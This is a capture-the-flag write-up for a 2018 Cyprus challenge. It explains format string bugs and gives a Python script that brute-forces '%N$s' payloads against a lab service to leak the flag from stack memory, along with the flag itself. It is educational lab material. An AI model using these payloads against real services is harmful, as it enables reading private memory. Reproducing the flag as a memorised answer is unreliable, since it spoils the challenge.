Cyprus CyberSecurity Challenge 2018: BadFormatString#0

Tags: exploitationformatstring

After visiting my good friend google and with some digging I started creating a plan on how I could possibly exploit this program.

Description

"A wild format string has been spoted at a stream on 192.168.125.115 port 4444, use the feral netcat to access it and read the flag send as the first argument. You may find the binary in question at captivity located at: https://www.dropbox.com/s/niq4o8zcp850p7c/BadFormatString0.zip?dl=1"

Solution

Format string vulnerabilities are a pretty silly class of bug that take advantage of an easily avoidable programmer error. If the programmer passes an attacker-controlled buffer as the argument to a printf (or any of the related functions, including sprintf, fprintf, etc), the attacker can perform writes to arbitrary memory addresses.

The attack could be executed when the application doesn’t properly validate the submitted input. In this case, if a Format String parameter, like %x, is inserted into the posted data, the string is parsed by the Format Function, and the conversion specified in the parameters is executed. However, the Format Function is expecting more arguments as input, and if these arguments are not supplied, the function could read or write the stack.

Below are some format parameters which can be used and their consequences:

  • "%x" Read data from the stack
  • "%s" Read character strings from the process' memory
  • "%n" Write an integer to locations in the process' memory

First, we had to examine if the program had these vulnerabilities by running some tests.

At about 10 arguments up the stack, we could see a repeating pattern of 0x252070 - those are our %ps on the stack! We started our string with AAAA to see this more explicitly:

The 0x41414141 is the hex representation of AAAA. So, now we had a way to pass an arbitrary value (in this case, we're passing 0x41414141) as an argument to printf. At this point we wanted to take advantage of another format string feature: a specific argument. For example, printf("%2$x", 1, 2, 3) will print 2. In general, we can do printf("% <some number> $x") to select an arbitrary argument to printf. In our case, we saw that 0x41414141 is the 8th argument to printf, so we could simplify our string:

At this point it was time to write the exploitation that would help us print the data from the stack.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from socket import *

i = 0
while(True):
	print "Attempt "+str(i+1)
	s = socket(AF_INET, SOCK_STREAM)
  	# open a connection
  	s.connect(('192.168.125.115', 4444))
  	# recive any data from the connection
  	s.recv(1000)
	# send our data
  	s.send('%'+str(i)+'$s\n')
	# recive the response from the connection
	data = s.recv(1000)

	# check if the flag is in the data that we recive
  	if "CYCTF" in data:
   		print "find the flag"
   		print i,data
		# close the connection 
   		s.close()
		# exit from the loop
   		break
	# close the connection and try again
 	s.close()
	i = i+1

With the above code we executed the brute force attack. The magick line is the 12th line. With '%'+str(i)+'$s\n' we requested for the i "position" from the stack and with "%s" we read the character strings from the process' memory.

And as expected, the flag was found at the 44th position!

CYCTF{1_l1k3_wh47_1_c4n_h34r}

Conclusion

Google is my best friend ;)